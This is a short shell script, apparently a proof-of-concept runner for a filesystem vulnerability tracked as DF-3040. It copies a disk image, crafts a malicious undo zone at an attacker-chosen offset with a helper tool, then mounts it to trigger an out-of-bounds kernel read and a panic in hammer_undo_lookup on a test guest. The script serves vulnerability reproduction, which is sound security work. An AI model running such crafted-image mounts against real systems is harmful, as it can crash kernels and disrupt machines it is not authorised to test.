#!/bin/sh
# DF-3040 runner (guest, root): craft the undo zone of a copy of base.img
# and mount it.  Expected on the INVARIANTS guest: page fault (or KKASSERT)
# from the OOB vol0_undo_array[idx] load in hammer_undo_lookup -- proof the
# kernel read past the 16KB rootvol bp at an attacker-chosen idx.
# Usage: run.sh [short_offset_hex]   (default 0x400000000 -> idx 2048)
set -e
cd /root
cp /root/base.img /root/undo.img
./undo_craft /root/undo.img ${1:-0x400000000}
vnconfig -c vn0 /root/undo.img
echo MOUNTING
mount_hammer /dev/vn0 /mnt
echo "MOUNT_OK (no panic - finding NOT reproduced)"
ls /mnt
umount /mnt
vnconfig -u vn0